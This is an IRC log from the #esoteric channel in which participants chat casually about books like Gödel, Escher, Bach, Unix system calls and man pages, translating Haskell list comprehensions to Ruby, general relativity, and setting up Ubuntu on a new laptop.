#esoteric :alise have you read laws of form? < 1267749133 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i'm gonna be the only person remaining in the channel at this rate < 1267749139 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :has anyone here?? < 1267749188 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: "mention of lojban = ban" < 1267749193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even you will not be spared, surely? < 1267749360 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Maybe? < 1267749396 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Laws_of_Form < 1267749411 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I haven't read the work. I have read that page. A long time ago. < 1267749415 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm exempt < 1267749419 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i'm above the law < 1267749434 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, have to go home to try to fix my internet now. < 1267749435 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :cpressey I read the book it's kinda wild < 1267749448 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise seems to have given up on me < 1267749451 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: It sounds like of like an esolang-logical-system < 1267749458 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267749462 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :mathematical philosophy is 100% bullshit < 1267749465 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :from concentrate < 1267749471 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: :) < 1267749477 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, winge winge winge < 1267749495 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise stfu !!!!! < 1267749507 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But every time I say I didn't enjoy "Goedel, Escher, Bach", people look at me as if I'm stupid. < 1267749511 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you wouldn't know philosophy if it hit you in the face < 1267749511 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ah well. < 1267749516 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Later, folks. < 1267749518 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1267749530 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I enjoyed the dialogues, but the AI content is not so good < 1267749535 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Oh, shut up. < 1267749544 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i enjoyed GEB < 1267749548 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i only read like 50 pages though < 1267749554 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :couldn't read any more, it's so boring and retarded < 1267749558 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise why even bother telling me to shut up if you are ignoring me :| < 1267749675 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: is it also your favourite bolton album; it blows? < 1267749685 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what < 1267749778 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION bites alise
< 1267750072 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267750124 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I wonder why sys_waitpid takes an int *. < 1267750139 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I only read about one page of GEB before I started to think it was boring and retarded < 1267750149 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You read the wrong page, then. < 1267750152 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: ... to put the status into ... < 1267750164 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: well, that makes sense. < 1267750178 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Note that I have no idea what sys_waitpid is for. < 1267750178 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Seeing as that waitpid(2) takes such an int * :P < 1267750192 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... good. < 1267750197 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :man 2 waitpid < 1267750211 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Is (2) all about system calls? < 1267750258 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Huh, I don't have that page. < 1267750281 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :FAH EEL < 1267750330 0 :alise!~d4b78c22@gateway/web/freenode/x-lpsmkqrwftofzmzv JOIN :#esoteric < 1267750342 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm guessing that in general, "foo" is input to the system call, "foo *" is output, and "const foo *" is input. < 1267750467 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.amazon.com/review/RI94SG7XY5YG3/ref=cm_cr_rdp_perm ;; here < 1267750481 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :etc: http://www.amazon.com/gp/pdp/profile/AKLYH2CI11XJN/ref=cm_cr_rdp_pdp < 1267750507 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er i mean http://www.amazon.com/gp/cdp/member-reviews/AKLYH2CI11XJN/ref=cm_pdp_rev_all?ie=UTF8&sort_by=MostRecentReview < 1267750566 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Where do I get those man pages? < 1267750636 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267750638 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Tuberwebsa < 1267750851 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :haha, I forgot this: "Yes, Ms. Newsom is a sort of Joni Mitchell meets Yvonne Trent (my fictional name for a singer who is Joanna Newsom minus Joni Mitchell)," < 1267751011 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :What a useless statement :P < 1267751074 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm. Might it make sense for me to Google for one of my passwords [I've used the Gmail password, so it's not like the Google folks don't ha.. wait, they don't have it] < 1267751124 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Just did it. No results =D < 1267751137 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :No, you don't get a screenshot < 1267751164 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: that /may/ be intentional... < 1267751164 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1267751208 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1267751255 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267751297 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267751343 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"But, this I'm right about: Franz Ferdinand is a person, not a band. Look at the name! It's a first and last name! Why would a band have one person's name? So, they could get on planes with only having to buy one ticket? I think they're too rich at this point to worry about that. And, what would happen when they actually had to sit down in the plane? No attendant is going to let the rest of the "band" stand the whole flight." < 1267751704 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Someone has a strong belief that band names have to make sense. < 1267751739 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or simply has a strong desire to prove themselves right. < 1267751775 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Which, as we all know, is the most evil desire on the face of the Earth. < 1267751828 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or is a joke account < 1267752228 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267753712 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267754771 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : It's somewhat easy to translate simple ones to Ruby <-- mechanically translating list comprehensions is listed in the haskell report: http://www.haskell.org/onlinereport/exps.html#sect3.11 < 1267754801 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the syntax is of course different < 1267754807 0 :MissPiggy!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1267754825 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(closer to set comprehensions in math) < 1267754911 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you're probably missing the part with concatmap ? < 1267755464 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That's mechanically translating Haskell list comprehension syntax to non-sugared Haskell? < 1267755476 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267755498 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How about non-sugared Haskell -> Ruby? < 1267755526 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :concatMap = concat . map, or flatten and map from what i glanced from the logs < 1267755561 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :assuming flatten is not recursive, that would be evil. < 1267755577 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is being... I think Ruby's flatten IS recursive. Hold on
< 1267755610 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yep < 1267755615 0 :benuphoenix!~benuphoen@ool-182e6881.dyn.optonline.net JOIN :#esoteric < 1267755623 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :irb(main):002:0> [[[1, 2], [3,4]], 5, 6].flatten < 1267755623 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :=> [1, 2, 3, 4, 5, 6] < 1267755625 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hi benuphoenix < 1267755632 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :hi Sgeo < 1267755642 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well that may mess things up then < 1267755694 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :To do a one-level flatten, map append < 1267755714 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh mutation < 1267755731 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :flattenOnce(x) = map(append, x), or whatever the ruby version would be < 1267755743 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :which lang is this? < 1267755757 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ruby < 1267755762 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I just made that up < 1267755771 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267755777 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, what if some elements aren't lists? < 1267755796 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Then add that as a special case < 1267755804 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1267755805 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help . < 1267755812 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is too focused on SG-1 right now to write Ruby (!)
< 1267755819 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Make your own append function that appends items and lists < 1267755834 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: you won't have a use for non-list elements for this case, haskell concat only applies to lists of lists (of the same type) < 1267755840 0 :benuphoenix!unknown@unknown.invalid PART #esoteric :? < 1267755960 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also if the end result is not a list of lists, you should be able to postpone it to a single flatten at the end, i think. < 1267756369 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :by using the monad laws for lists *mad evil cackle < 1267756371 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :* < 1267756419 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :curses, my plan would have succeeded if not for that meddling return key < 1267756568 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :i hate monads < 1267757047 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Now to see who he really is! < 1267757052 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pulls of oerjan's mask
< 1267757067 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pulls off oerjan's mask, even
< 1267757080 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :boo! < 1267757082 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267757088 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267757099 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also ouch, my face! < 1267757149 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Old man Johansen! I should have known! < 1267757213 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you kids get off my lawn! < 1267757285 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1267757676 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :No wait, Scooby and the gang never were even close, they were always more like "Old man Johansen?!" < 1267757979 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that just means you are genre savvy < 1267758776 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Later < 1267759887 0 :charlls!~charlls@200.109.210.140 JOIN :#esoteric < 1267759904 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267761590 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267762001 0 :Gracenotes!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267762065 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267762196 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267762348 0 :Gracenotes!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267762386 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267762391 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1267762403 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sup foos < 1267762406 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :coppro: i figured out the GR thing < 1267762410 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or was it oerjan < 1267762413 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :both of yoj < 1267762439 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :when GR describes non-interial FoR's as equivalent to inertial FoR's with gravity < 1267762451 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what is meant is not what the universe looks like from that FoR < 1267762462 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but rather what the FoR looks like to someone inside it < 1267762492 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so a _closed box_ that is accelerating, is indistinguishable from, and equivalent to, a non-accelerating version on a planets surface < 1267762531 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you could see out, that breaks the equivalence, thats not what GR is about. its about the local physics of the FoRs, not the apparent physics of the world outside the FoR < 1267763480 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267763677 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267766192 0 :amca!~amca@CPE-121-208-82-97.cqzr1.cha.bigpond.net.au JOIN :#esoteric < 1267767298 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267767334 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1267767568 0 :oerjan!unknown@unknown.invalid QUIT :Quit: And again < 1267768461 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Unix domain sockets are difficult to find information about. <-- man 7 unix < 1267768581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1267769291 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267769325 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267772058 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267772178 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267772449 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1267772878 0 :cheater2!~cheater@ip-80-226-12-237.vodafone-net.de JOIN :#esoteric < 1267772896 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It would have been wonderful it someone had pointed out man 7 unix to me 18 hours ago. < 1267772905 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It would have saved me about 18 hours. < 1267773602 0 :coppro!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267773915 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267774410 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267774950 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1267775411 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1267775999 0 :clog!unknown@unknown.invalid QUIT :ended < 1267776000 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1267776206 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267776342 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267776370 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267777744 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267777782 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267778412 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Like my mini webpage? (http://circastudios.site50.net/dev_squid/) < 1267778571 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is going to bed.
< 1267778858 0 :MigoMipo!~migomipo@84-217-10-47.tn.glocalnet.net JOIN :#esoteric < 1267778905 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267779751 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1267780212 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Aww, the text is in images. < 1267780691 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267782904 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267783279 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267784538 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267787075 0 :amca!unknown@unknown.invalid QUIT :Quit: Farewell < 1267788940 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267791818 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267792502 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267792948 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :*.net *.split < 1267792977 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267793071 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267793276 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267793461 0 :fungot!unknown@unknown.invalid QUIT :*.net *.split < 1267793774 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267794271 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267795194 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267795307 0 :MissPiggy!~none@unaffiliated/fax JOIN :#esoteric < 1267796739 0 :hiato!~fdulu@dsl-245-10-22.telkomadsl.co.za JOIN :#esoteric < 1267796879 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1267797839 0 :MigoMipo!~migomipo@84-217-10-47.tn.glocalnet.net JOIN :#esoteric < 1267798242 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1267798334 0 :alise!~d4b78c10@gateway/web/freenode/x-negmimxsacyjzoxo JOIN :#esoteric < 1267799080 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267799220 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267799335 0 :alise!~d4b78c34@gateway/web/freenode/x-zgmcweendajoybku JOIN :#esoteric < 1267799360 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: is there anything useful in the stock windows or should i just nuke it and put ubuntu on? < 1267799371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, what kind of battery life < 1267799429 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :do you get? < 1267799429 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Mine says 8 hours, then in a few minutes 6, then 5 < 1267799435 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1267799435 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :4hr32m remaining apparently now < 1267799436 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: the stock windows is necessary to change most of the settings, like wireless killswitch, etc < 1267799450 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and on Ubuntu, around 4 to 5 hours depending on what I'm doing, although the battery claims 8 when full < 1267799454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION plugs it in
< 1267799458 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION turns off ECO MODE
< 1267799466 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :actually i'll keep it on < 1267799469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so it charges more for the journey < 1267799481 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :what I've done is resized the Windows partition smaller, and put Ubuntu on the other half < 1267799487 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :leaving it dual-boot, but only ever booted to Linux < 1267799498 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I'll probably do some AnMaster-style hypertweaking for battery life < 1267799515 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :powertop! < 1267799519 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ideally I would back up the Windows partition somewhere then nuke it < 1267799528 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But on a 3G stick connection, that seems unreasonable < 1267799536 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Especially as it's £15/gig < 1267799538 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although note, that powertop has a tendency to do obnoxious things like turn your mouse off altogether to save power < 1267799547 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just downloading Ubuntu will cost almost that < 1267799553 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Well, cost as in train the top-up.) < 1267799560 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: XD < 1267799579 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Mine will have inferior battery life to yours because of the bigger screen, most likely < 1267799602 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(to be precise, it turns USB autosuspend on, and moving the mouse doesn't turn it back off again, so you have to unplug and replug the mouse to get it to work < 1267799604 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :) < 1267799667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I should have cleaned this (grubby display model! Probably grubby, at least) with something other than wet kitchen roll, there are little specks of it everywhere < 1267799674 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Didn't really have anything else to use, though. < 1267799687 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :my laptop seems to be imposible to clean < 1267799687 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: ah, well I'll be using the trackpad < 1267799702 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's rather shiny, it's very easy to spot fingerprints ad stuff on it < 1267799717 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But I just wanted to get the grubbiness off, just in case they didn't clean it very well before boxing it up < 1267799737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The trackpad on this is rather crappy, I keep side-of-trackpad scrolling by mistake < 1267799743 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it isn't very well ridged so i keep nudging it < 1267799781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : alise: the stock windows is necessary to change most of the settings, like wireless killswitch, etc <-- huh < 1267799796 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes, it confuses me too < 1267799798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is one advantage with thinkpad, things like that just work in linux < 1267799807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, how do you use the mousepad/volume control? < 1267799814 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I suspected Fn+ due to the colour but neither fn nor fn-switch work < 1267799816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1267799817 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not mousepad < 1267799819 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :numberpad thing < 1267799823 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :volume control is fn-3, fn-4 < 1267799834 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, also the kill switch on mine is definitely physical disconnect/connect-style < 1267799838 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :does it not give any feedback or something? < 1267799839 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :mouse pad is fn-f10 < 1267799855 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*numpad < 1267799856 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, since the bluetooth and wlan units are simply gone from lsusb/lspci after switching it < 1267799860 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1267799861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :numberpad < 1267799862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not mousepad < 1267799865 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :7-0, u-p, j-;, m-/ < 1267799868 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :those ones < 1267799875 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep, you turn that on and off with fn-f10 < 1267799881 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, I'm rather pleased with this keyboard layout < 1267799883 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and the feedback is one of the lights on the front which is easy to miss < 1267799900 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't seem to have any abominations against layout in it < 1267799914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd prefer shift was the rightmost key but it's not such a big deal < 1267799927 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :control, fn, super, alt, backquote, space at the bottom left is annoying, it's so easy to hit the wrong one < 1267799939 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Backquote at the bottom left? < 1267799940 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although a bigger screen for you may imply a less cramped layout < 1267799942 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not for me. < 1267799946 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : although note, that powertop has a tendency to do obnoxious things like turn your mouse off altogether to save power <-- for usb mouse maybe < 1267799946 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm on UK layout though < 1267799949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For me the bottom row is: < 1267799950 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep, looks like bigger screen = bigger keyboard < 1267799952 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes < 1267799957 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes don't enable usb autosuspend < 1267799958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ctrl, Fn, Win, Alt, space, alt gr, menu, ctrl, arrow keys < 1267799958 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when it asks < 1267799982 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Second to bottom is shift, \|, ..., /?, shift, pgup/pgdn vertically < 1267799991 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: yours is very similar to mine, except mine puts ` and \ to the right of the two alt keys respectively < 1267799997 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :leaving the spacebar rather small < 1267799998 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : (to be precise, it turns USB autosuspend on, and moving the mouse doesn't turn it back off again, so you have to unplug and replug the mouse to get it to work) <-- in a different physical port even < 1267800000 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for me < 1267800018 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fn-f10 just enables the arrows < 1267800018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(after that the original port works again though) < 1267800021 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think it's f11 for numbers < 1267800035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267800039 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :err, yes, f11 < 1267800042 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I said the wrong thing < 